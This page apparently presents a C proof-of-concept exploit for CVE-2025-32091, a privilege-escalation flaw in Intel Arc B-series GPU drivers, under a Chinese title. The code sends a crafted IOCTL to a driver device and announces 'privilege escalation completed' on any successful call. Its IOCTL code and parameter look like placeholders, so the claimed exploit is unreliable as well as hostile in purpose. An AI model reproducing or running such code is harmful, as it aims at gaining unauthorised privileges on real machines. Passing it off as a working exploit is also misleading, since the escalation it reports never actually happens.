Intel Arc B系列GPU固件权限提升漏洞(CVE-2025-32091)

// CVE-2025-32091 PoC - Intel Arc B-series GPU Privilege Escalation // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <stdio.h> // Intel GPU Driver IOCTL codes #define INTEL_GPU_IOCTL_BASE 0x8000 #define INTEL_GPU_IOCTL_EXPLOIT (INTEL_GPU_IOCTL_BASE + 0x1337) // Trigger the vulnerability via malformed IOCTL request void trigger_vulnerability() { HANDLE hDevice; DWORD bytesReturned; char inputBuffer[256] = {0}; char outputBuffer[256] = {0}; // Open Intel GPU driver handle hDevice = CreateFile("\\\\.\\IntelGpuDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open Intel GPU driver\\n"); return; } // Craft malicious request to exploit incorrect default permissions // This exploits the Ring 1 driver vulnerability *(ULONG*)inputBuffer = 0x41414141; // Malicious parameter BOOL result = DeviceIoControl(hDevice, INTEL_GPU_IOCTL_EXPLOIT, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL); if (result) { printf("[+] Vulnerability triggered successfully\\n"); printf("[+] Privilege escalation completed\\n"); } else { printf("[-] Exploitation failed\\n"); } CloseHandle(hDevice); } int main() { printf("CVE-2025-32091 Intel Arc B-series GPU PoC\\n"); printf("Target: Intel GPU Driver Ring 1 Privilege Escalation\\n"); trigger_vulnerability(); return 0; }